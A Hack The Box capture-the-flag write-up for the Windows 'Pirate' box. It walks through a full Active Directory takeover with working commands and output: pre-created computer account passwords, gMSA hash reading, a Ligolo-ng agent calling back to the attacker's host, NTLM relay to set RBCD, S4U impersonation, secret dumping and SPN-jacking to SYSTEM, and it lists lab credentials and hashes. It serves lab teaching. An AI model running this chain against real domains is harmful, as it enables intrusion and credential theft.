HTB Pirate writeup
A technical writeup for educational use, covering only the authorized, isolated Hack The Box lab.
Summary
Section titled “Summary”Pirate was a Windows Hard box that required interpreting Active Directory enumeration and linking a pre-created computer account, gMSA, NTLM relay, RBCD, S4U, and WriteSPN. Starting with pentest / p3nt3st2025!&, the pre-Windows 2000 computer account MS01$ was obtained. Its access to a gMSA NTLM hash enabled a WinRM connection to DC01. Ligolo-ng then provided a pivot into the internal segment. Relaying WEB01$ NTLM authentication to LDAPS set RBCD and led to local Administrator privileges on WEB01. Finally, the BloodHound path a.white -> a.white_adm -> IT -> WriteSPN, combined with SPN-jacking and KCD, yielded NT AUTHORITY\SYSTEM on DC01.
Box Info
Section titled “Box Info”| Item | Value |
|---|---|
| Box | Pirate |
| Platform | Hack The Box |
| OS | Windows |
| Difficulty | Hard |
Attack Chain
Section titled “Attack Chain”pentest | | LDAP/SMB enumeration vMS01$ pre-created computer account | password pattern: ms01 | memberOf: Domain Secure Servers vread gMSA managed passwords | +--> gMSA_ADCS_prod$ NTLM | | WinRM to DC01 v foothold on DC01 | | Ligolo-ng route to 192.168.100.0/24 v WEB01 reachable | | Coerce WEB01$ SMB auth -> ntlmrelayx -> LDAPS v RBCD on WEB01$: MS01$ can impersonate users | | S4U2self + S4U2Proxy v WEB01 local Administrator / NT AUTHORITY\SYSTEM | | secretsdump: a.white plaintext password v a.white | | ForceChangePassword v a.white_adm | | IT group WriteSPN on WEB01/DC01 | SPN-jacking HTTP/WEB01* from WEB01$ to DC01$ | KCD + altservice cifs v DC01 NT AUTHORITY\SYSTEMTarget Details
Section titled “Target Details”| Item | Value |
|---|---|
| Domain | pirate.htb |
| DC | DC01.pirate.htb |
| Initial user | pentest |
| Internal host | WEB01.pirate.htb = 192.168.100.2 |
The externally facing DC IP changed after an HTB restart. Below, <DC_IP> stands for that address. Both 10.129.244.95 and 10.129.23.246 appeared in the logs.
Add at least the following to /etc/hosts.
<DC_IP> DC01.pirate.htb pirate.htb DC01The initial full-port scan was:
nmap -sS -A -p- --min-rate 10000 <DC_IP> -oN pirate.nmapKey output:
53/tcp open domain Simple DNS Plus80/tcp open http Microsoft IIS httpd 10.088/tcp open kerberos-sec Microsoft Windows Kerberos389/tcp open ldap Microsoft Windows Active Directory LDAP445/tcp open microsoft-ds?636/tcp open ssl/ldap3268/tcp open ldap3269/tcp open ssl/ldap5985/tcp open http Microsoft HTTPAPI httpd 2.09389/tcp open mc-nmf .NET Message FramingService Info: Host: DC01; OS: Windowssmb2-security-mode: Message signing enabled and requiredclock-skew: mean: 7h00m01sKey observations:
- Ports
88/389/445/636/3268/3269indicated an AD domain controller. - With port
5985open, test recovered credentials over WinRM. - SMB signing was required, making paths that relay NTLM received over SMB to LDAP likely to fail.
- LDAP/LDAPS warranted attention to LDAP signing and channel binding, AD object permissions, gMSAs, and delegation.
- Correct clock skew before using Kerberos.
Initial Enumeration
Section titled “Initial Enumeration”The initial credentials were pentest / p3nt3st2025!&. First, check access to SMB, LDAP, and WinRM.
nxc ldap pirate.htb -u pentest -p 'p3nt3st2025!&'nxc winrm pirate.htb -u pentest -p 'p3nt3st2025!&'LDAP [+] pirate.htb\pentest:p3nt3st2025!&WINRM [-] pirate.htb\pentest:p3nt3st2025!&pentest worked for LDAP and SMB but did not provide a WinRM shell.
Enumerate users, groups, and computers through SMB and LDAP.
nxc smb pirate.htb -u pentest -p 'p3nt3st2025!&' --shares --users --groups --computers --rid-brutenxc ldap pirate.htb -u pentest -p 'p3nt3st2025!&' --groups --computersShare PermissionsIPC$ READNETLOGON READSYSVOL READ
Users:Administratora.white_adma.whitepentestj.sparrow
Computers:DC01$WEB01$MS01$EXCH01$gMSA_ADCS_prod$gMSA_ADFS_prod$The LDAP security settings also mattered.
LDAP signing: Nonechannel binding: NeverSMB signing: TrueLDAP was a weak relay target, but required SMB signing did not guarantee that NTLM received over SMB could be relayed to LDAP. Until the later WEB01 authentication was a rabbit hole.
AD Relationships and gMSA Clues
Section titled “AD Relationships and gMSA Clues”BloodHound/RustHound and LDAP results showed these relationships:
ldapsearch -LLL \ -H ldap://DC01.pirate.htb \ -D 'pentest@pirate.htb' \ -w 'p3nt3st2025!&' \ -b 'DC=pirate,DC=htb' \ '(|(cn=Remote Management Users)(cn=IT)(cn=Domain Secure Servers)(cn=Group Policy Creator Owners))' \ cn member memberOf descriptiondn: CN=IT,CN=Users,DC=pirate,DC=htbmember: CN=Angela W. ADM,CN=Users,DC=pirate,DC=htb
dn: CN=Domain Secure Servers,CN=Users,DC=pirate,DC=htbmember: CN=MS01,CN=Computers,DC=pirate,DC=htb
dn: CN=Remote Management Users,CN=Builtin,DC=pirate,DC=htbmember: CN=gMSA_ADFS_prod,CN=Managed Service Accounts,DC=pirate,DC=htbmember: CN=gMSA_ADCS_prod,CN=Managed Service Accounts,DC=pirate,DC=htbCheck the gMSA objects too.
ldapsearch -LLL \ -H ldap://DC01.pirate.htb \ -D 'pentest@pirate.htb' \ -w 'p3nt3st2025!&' \ -b 'DC=pirate,DC=htb' \ '(objectClass=msDS-GroupManagedServiceAccount)' \ sAMAccountName memberOf servicePrincipalName msDS-GroupMSAMembershipdn: CN=gMSA_ADCS_prod,CN=Managed Service Accounts,DC=pirate,DC=htbmemberOf: CN=Remote Management Users,CN=Builtin,DC=pirate,DC=htbsAMAccountName: gMSA_ADCS_prod$
dn: CN=gMSA_ADFS_prod,CN=Managed Service Accounts,DC=pirate,DC=htbmemberOf: CN=Remote Management Users,CN=Builtin,DC=pirate,DC=htbsAMAccountName: gMSA_ADFS_prod$servicePrincipalName: host/adfs.pirate.htbmsDS-GroupMSAMembership identified which principals could read a gMSA managed password. Resolving its SID RID yielded Domain Secure Servers.
lookupsid.py 'pirate.htb/pentest:p3nt3st2025!&@DC01.pirate.htb' 5000 | grep 41014101: PIRATE\Domain Secure Servers (SidTypeGroup)This revealed the path MS01$ -> Domain Secure Servers -> gMSA password read -> Remote Management Users.
a.white_adm also had constrained delegation with protocol transition.
findDelegation.py -dc-ip <DC_IP> 'pirate.htb/pentest:p3nt3st2025!&'AccountName AccountType DelegationType DelegationRightsToDC01$ Computer Unconstrained N/Aa.white_adm Person Constrained w/ Protocol Transition http/WEB01.pirate.htba.white_adm Person Constrained w/ Protocol Transition HTTP/WEB01At this point, the password for a.white_adm was unknown. Later, a password reset through a.white made this a key clue for the final stage.
Pre-Windows 2000 Computer Account
Section titled “Pre-Windows 2000 Computer Account”MS01$ belonged to Domain Secure Servers and could read gMSA passwords. Running the pre2k module found it as a pre-created computer account.
nxc ldap pirate.htb -u pentest -p 'p3nt3st2025!&' -M pre2kPRE2K Pre-created computer account: MS01$PRE2K Pre-created computer account: EXCH01$PRE2K Successfully obtained TGT for ms01@pirate.htbPRE2K Successfully obtained TGT for exch01@pirate.htbA pre-created computer account can have a lowercase hostname as its initial password: ms01 for MS01$. This allowed LDAP authentication as MS01$.
export KRB5CCNAME=ms01.ccache
netexec ldap DC01.pirate.htb \ -u 'MS01$' \ -p 'ms01' \ -d pirate.htb \ --gmsa \ -kLDAP [+] pirate.htb\MS01$:ms01LDAP Account: gMSA_ADCS_prod$ NTLM: 8e142bbd224b307f3cb31752b29f4893LDAP Account: gMSA_ADFS_prod$ NTLM: 30e4066182bb2c81dcd950b2fbb16564gMSA_ADCS_prod$ belonged to Remote Management Users and could access DC01 through WinRM.
evil-winrm-py -i pirate.htb \ -u 'gMSA_ADCS_prod$' \ -H '8e142bbd224b307f3cb31752b29f4893'[*] Connecting to 'pirate.htb:5985' as 'gMSA_ADCS_prod$'evil-winrm-py PS C:\Users\gMSA_ADCS_prod$\Documents>This was a low-privilege foothold on DC01, but enough to pivot into the internal network.
Pivoting to WEB01
Section titled “Pivoting to WEB01”DNS showed that WEB01.pirate.htb had an internal IP address.
dig @<DC_IP> WEB01.pirate.htbdig @<DC_IP> DC01.pirate.htbWEB01.pirate.htb. 1200 IN A 192.168.100.2DC01.pirate.htb. 3600 IN A 192.168.100.1Place a Ligolo-ng agent on DC01 and create a TUN interface on the attacking machine.
sudo ip tuntap add user root mode tun ligolosudo ip link set ligolo upsudo ./proxy -selfcert -laddr 0.0.0.0:11601Run the agent on DC01.
.\agent.exe -connect <ATTACKER_VPN_IP>:11601 -ignore-certSelect the session in the Ligolo-ng proxy and start the tunnel before adding a route. Here, the route was added on Linux, but Ligolo-ng v0.6 and later can manage it with interface_create and route_add.
sudo ip route add 192.168.100.0/24 dev ligoloping 192.168.100.2To manage it through Ligolo-ng, create it in the proxy console as follows. With this method, do not use the earlier ip tuntap add and ip route add commands; manage creation and deletion through Ligolo-ng.
interface_create --name ligoloroute_add --name ligolo --route 192.168.100.0/24tunnel_start --tun ligolo64 bytes from 192.168.100.2: icmp_seq=1 ttl=64WEB01 was now reachable from the attacking machine.
NTLM Relay to RBCD
Section titled “NTLM Relay to RBCD”The goal was to direct WEB01. The ntlmrelayxoptions—delegate-access —escalate-user ‘MS01 rights to update msDS-AllowedToActOnBehalfOfOtherIdentity, allowing MS01$ to perform S4U2Proxy against WEB01.
An HTTP/WebDAV callback was tried first, but failed because no callback occurred in the WEB01 -> DC01:8080 direction. An SMB callback sent directly to the attacker VPN IP eventually worked.
Start the relay listener.
sudo env "PATH=$PATH" ntlmrelayx.py \ -t ldaps://dc01.pirate.htb \ --delegate-access \ --escalate-user 'MS01$' \ -smb2support \ --remove-micIn another terminal, coerce WEB01. The -l option specifies the attacker’s current VPN IP.
coercer coerce \ -u 'gMSA_ADCS_prod$' \ --hashes ':8e142bbd224b307f3cb31752b29f4893' \ -d pirate.htb \ -l <ATTACKER_VPN_IP> \ -t 192.168.100.2 \ --always-continueSuccessful ntlmrelayx output:
(SMB): Authenticating connection from PIRATE/WEB01$@<DC_IP> against ldaps://dc01.pirate.htb SUCCEEDldaps://PIRATE/WEB01$@dc01.pirate.htb -> Delegation rights modified succesfully!ldaps://PIRATE/WEB01$@dc01.pirate.htb -> MS01$ can now impersonate users on WEB01$ via S4U2ProxyS4U2Proxy is a Kerberos extension that lets a service account obtain a ticket to another service on behalf of a user. Here, MS01$ could obtain a ticket for cifs/WEB01.pirate.htb while impersonating Administrator.
S4U to WEB01 and User Flag
Section titled “S4U to WEB01 and User Flag”The password for MS01$ was ms01. Obtain a TGT first, then use it to request a service ticket for WEB01.
getTGT.py pirate.htb/'MS01$':'ms01' -dc-ip <DC_IP>export KRB5CCNAME='MS01$.ccache'
getST.py pirate.htb/'MS01$' \ -spn 'cifs/WEB01.pirate.htb' \ -impersonate Administrator \ -dc-ip <DC_IP> \ -k -no-pass[*] Impersonating Administrator[*] Requesting S4U2self[*] Requesting S4U2Proxy[*] Saving ticket in Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccacheUse this ticket with psexec.py to access WEB01.
export KRB5CCNAME=Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache
psexec.py -k -no-pass \ -target-ip 192.168.100.2 \ WEB01.pirate.htb[*] Found writable share ADMIN$[*] Starting service ...Microsoft Windows [Version 10.0.17763.8385]C:\WINDOWS\system32> whoamint authority\systemWEB01’s local SAM/LSA secrets could also be dumped. It took time, but yielded the plaintext password for a.white.
secretsdump.py -k -no-pass \ -target-ip 192.168.100.2 \ WEB01.pirate.htb \ -debugAdministrator:500:aad3b435b51404eeaad3b435b51404ee:b1aac1584c2ea8ed0a9429684e4fc3e5:::PIRATE\WEB01$:aad3b435b51404eeaad3b435b51404ee:feba09cf0013fbf5834f50def734bca9:::PIRATE\a.white:E2nvAOKSz5Xz2MJuUse the WEB01 local Administrator hash with WinRM to read the user flag.
evil-winrm-py -i 192.168.100.2 \ -u 'Administrator' \ -H 'b1aac1584c2ea8ed0a9429684e4fc3e5'type C:\Users\a.white\Desktop\user.txt[REDACTED]WEB01\Administrator was the local Administrator on WEB01, distinct from the domain’s PIRATE\Administrator, so it did not yet provide the root flag.
BloodHound Path to a.white_adm
Section titled “BloodHound Path to a.white_adm”The a.white password from secretsdump enabled this BloodHound path:
a.white -> ForceChangePassworda.white_adm -> MemberOf ITIT -> WriteSPN on EXCH01, MS01, WEB01, DC01a.white_adm -> KCD to HTTP/WEB01 and HTTP/WEB01.pirate.htbFirst, use a.white to change the password of a.white_adm.
bloodyAD \ -u 'a.white' \ -p 'E2nvAOKSz5Xz2MJu' \ -d pirate.htb \ --host <DC_IP> \ set password 'a.white_adm' 'Pwned123!'[+] Password changed successfully!LDAP modification and Kerberos S4U were now available as a.white_adm.
WriteSPN and SPN-jacking to DC01
Section titled “WriteSPN and SPN-jacking to DC01”WriteSPN grants permission to change the servicePrincipalName attribute. Besides adding an SPN for Kerberoasting, it can be combined with existing delegation to perform SPN-jacking.
The idea was:
a.white_admcould use KCD forHTTP/WEB01andHTTP/WEB01.pirate.htb.IThadWriteSPNover bothWEB01$andDC01$.- Remove
HTTP/WEB01*fromWEB01$and add it toDC01$. - The KDC would resolve
HTTP/WEB01.pirate.htbas an SPN ofDC01$and issue a ticket DC01 could decrypt. - Use
getST.py -altservice cifsto change the service class fromHTTPtocifsfor SMB administration.
First, create the LDIF.
tee spnjack.ldif >/dev/null <<'EOF'dn: CN=WEB01,CN=Computers,DC=pirate,DC=htbchangetype: modifydelete: servicePrincipalNameservicePrincipalName: HTTP/WEB01servicePrincipalName: HTTP/WEB01.pirate.htb-
dn: CN=DC01,OU=Domain Controllers,DC=pirate,DC=htbchangetype: modifyadd: servicePrincipalNameservicePrincipalName: HTTP/WEB01servicePrincipalName: HTTP/WEB01.pirate.htb-EOFApply the LDAP modification.
ldapmodify -x -H ldap://dc01.pirate.htb \ -D 'a.white_adm@pirate.htb' \ -w 'Pwned123!' \ -f spnjack.ldifmodifying entry "CN=WEB01,CN=Computers,DC=pirate,DC=htb"modifying entry "CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb"Verify it.
ldapsearch -LLL -x -H ldap://dc01.pirate.htb \ -D 'a.white_adm@pirate.htb' \ -w 'Pwned123!' \ -b 'DC=pirate,DC=htb' \ '(|(sAMAccountName=WEB01$)(sAMAccountName=DC01$))' servicePrincipalNamedn: CN=DC01,OU=Domain Controllers,DC=pirate,DC=htbservicePrincipalName: HTTP/WEB01.pirate.htbservicePrincipalName: HTTP/WEB01...
dn: CN=WEB01,CN=Computers,DC=pirate,DC=htbservicePrincipalName: tapinego/WEB01servicePrincipalName: WSMAN/WEB01servicePrincipalName: HOST/WEB01.pirate.htbservicePrincipalName: TERMSRV/WEB01Request a new ticket after clearing the old ccache.
unset KRB5CCNAME
getST.py 'pirate.htb/a.white_adm:Pwned123!' \ -spn 'HTTP/WEB01.pirate.htb' \ -impersonate Administrator \ -altservice cifs \ -dc-ip <DC_IP>[*] Getting TGT for user[*] Impersonating Administrator[*] Requesting S4U2self[*] Requesting S4U2Proxy[*] Changing service from HTTP/WEB01.pirate.htb@PIRATE.HTB to cifs/WEB01.pirate.htb@PIRATE.HTB[*] Saving ticket in Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccacheAlthough the destination IP was DC01, keep the destination name as WEB01.pirate.htb to match the ticket’s SPN.
export KRB5CCNAME=Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache
psexec.py -k -no-pass \ -target-ip <DC_IP> \ WEB01.pirate.htb[*] Requesting shares on <DC_IP>.....[*] Found writable share ADMIN$[*] Starting service ...Microsoft Windows [Version 10.0.17763.8385]C:\Windows\system32> whoamint authority\systemRead the root flag.
type C:\Users\Administrator\Desktop\root.txt[REDACTED]Rabbit Holes and Dead Ends
Section titled “Rabbit Holes and Dead Ends”- AD CS exposed many certificate templates and CA permissions, but
certipy find -vulnerablefound no straightforward ESC path. - Coercing DC01$ worked, but LDAP/LDAPS relay failed with SMB signing required.
- HTTP/WebDAV relay attempts using
\\192.168.100.1@8080\...and\\DC01.pirate.htb@8080\...produced no HTTP callback from WEB01, sontlmrelayxreceived no connection. - A Kerberoast hash for
a.white_admwas obtained, but rockyou and rules did not crack it.Muffinwas displayed as a candidate, not the password. secretsdump.pyappeared very slow through Ligolo, but eventually retrieved the SAM/LSA secrets.
Cleanup Notes
Section titled “Cleanup Notes”Remove or restore the following to return the environment to its prior state.
- RBCD added to
WEB01$byntlmrelayx:msDS-AllowedToActOnBehalfOfOtherIdentity - The
a.white_admpassword reset toPwned123! - SPNs moved by SPN-jacking:
- Remove
HTTP/WEB01andHTTP/WEB01.pirate.htbfromDC01$ - Restore
HTTP/WEB01andHTTP/WEB01.pirate.htbonWEB01$
- Remove
- The temporary service and uploaded executable created by
psexec.py
For Ligolo-ng, restore the target agent, proxy listener, tunnel, Linux route, and TUN interface separately. This run used the listener 192.168.100.1:8080 -> 127.0.0.1:8080 and route 192.168.100.0/24 dev ligolo. Remove 172.16.7.0/24 too if it was added.
In the Ligolo-ng proxy’s interactive console, stop the listener and tunnel first.
listener_listlistener_stop 0tunnel_liststopMatch the 0 in listener_stop 0 to the listener ID shown by listener_list. Stop all listeners if multiple were created.
On the attacking Linux machine, remove the route and TUN interface.
ip route show dev ligolo
sudo ip route del 192.168.100.0/24 dev ligolosudo ip route del 172.16.7.0/24 dev ligolo 2>/dev/null || true
sudo ip addr flush dev ligolosudo ip link set ligolo downsudo ip tuntap del mode tun ligoloIf managed through Ligolo-ng’s route_add and interface_create, delete them through its console too.
route_del --name ligolo --route 192.168.100.0/24route_del --name ligolo --route 172.16.7.0/24interface_delete --name ligoloOn the target, remove the agent process and uploaded binary.
Get-Process agent -ErrorAction SilentlyContinue | Stop-Process -ForceRemove-Item 'C:\Users\gMSA_ADCS_prod$\Documents\agent.exe' -ForceFinally, check that no proxy or relay listener remains on the attacking machine.
sudo ss -ltnp | grep -E ':(80|445|8080|11601)\b' || trueExample LDIF to restore the SPNs:
dn: CN=DC01,OU=Domain Controllers,DC=pirate,DC=htbchangetype: modifydelete: servicePrincipalNameservicePrincipalName: HTTP/WEB01servicePrincipalName: HTTP/WEB01.pirate.htb-
dn: CN=WEB01,CN=Computers,DC=pirate,DC=htbchangetype: modifyadd: servicePrincipalNameservicePrincipalName: HTTP/WEB01servicePrincipalName: HTTP/WEB01.pirate.htb-Apply the restoration LDIF.
ldapmodify -x -H ldap://dc01.pirate.htb \ -D 'a.white_adm@pirate.htb' \ -w 'Pwned123!' \ -f restore-spn.ldifTo undo RBCD, remove the MS01$ ACE from msDS-AllowedToActOnBehalfOfOtherIdentity on WEB01$. A machine reset can restore the lab environment. For manual restoration, record the current value with BloodHound or an LDAP tool, then remove only the relevant ACE.
Credentials and Artifacts
Section titled “Credentials and Artifacts”| Type | Value |
|---|---|
| Initial credential | pirate.htb\pentest : p3nt3st2025!& |
| Pre-created computer | MS01$ : ms01 |
| Pre-created computer | EXCH01$ : exch01 |
| gMSA NTLM | gMSA_ADCS_prod$ : 8e142bbd224b307f3cb31752b29f4893 |
| gMSA NTLM | gMSA_ADFS_prod$ : 30e4066182bb2c81dcd950b2fbb16564 |
| WEB01 local Administrator NTLM | b1aac1584c2ea8ed0a9429684e4fc3e5 |
| WEB01 machine NTLM | feba09cf0013fbf5834f50def734bca9 |
| Domain user plaintext | PIRATE\a.white : E2nvAOKSz5Xz2MJu |
| Reset password | PIRATE\a.white_adm : Pwned123! |
| User flag path | C:\Users\a.white\Desktop\user.txt |
| User flag | [REDACTED] |
| Root flag path | C:\Users\Administrator\Desktop\root.txt |
| Root flag | [REDACTED] |
The main tickets and artifacts were:
ms01.ccacheMS01$.ccacheAdministrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccachespnjack.ldifkerberoast.hash
Required Knowledge
Section titled “Required Knowledge”- Initial AD enumeration: users, groups, computers, shares, LDAP attributes, delegation, and interpreting BloodHound paths
- Pre-Windows 2000 computer accounts: the initial password pattern for pre-created computer accounts
- gMSAs:
msDS-GroupMSAMembershipand permission to read managed passwords - NTLM relay: inducing machine account authentication with Coercer and relaying it to LDAPS with
ntlmrelayx - RBCD: how
msDS-AllowedToActOnBehalfOfOtherIdentityallows a service account to use S4U2Proxy against a target host - Kerberos S4U: impersonation through S4U2self and S4U2Proxy
- Ligolo-ng: pivoting from a compromised host into an internal network
- WriteSPN / SPN-jacking: moving
servicePrincipalNameentries to direct KCD to another host ldapmodify: LDAP operations to add, delete, or replace AD object attributes- hashcat rules: transformations such as capitalization or appending digits and symbols to wordlist candidates
Final Thought
Section titled “Final Thought”This box had many potentially interesting AD features, but the shortest path was to interpret object relationships rather than exploit a feature directly. Finding the unusual MS01$ early mattered: the path depended on connecting Domain Secure Servers, gMSA read, and pre2k.
For the relay, do not judge failure from a Coercer error alone; check whether the intended machine account reached ntlmrelayx. The -l address also had to be one the target could connect back to.
The final WriteSPN step required combining KCD with SPN-jacking rather than simply Kerberoasting. The apparently odd use of WEB01.pirate.htb as the name when connecting to DC01 follows from how Kerberos service tickets and SPN resolution work.

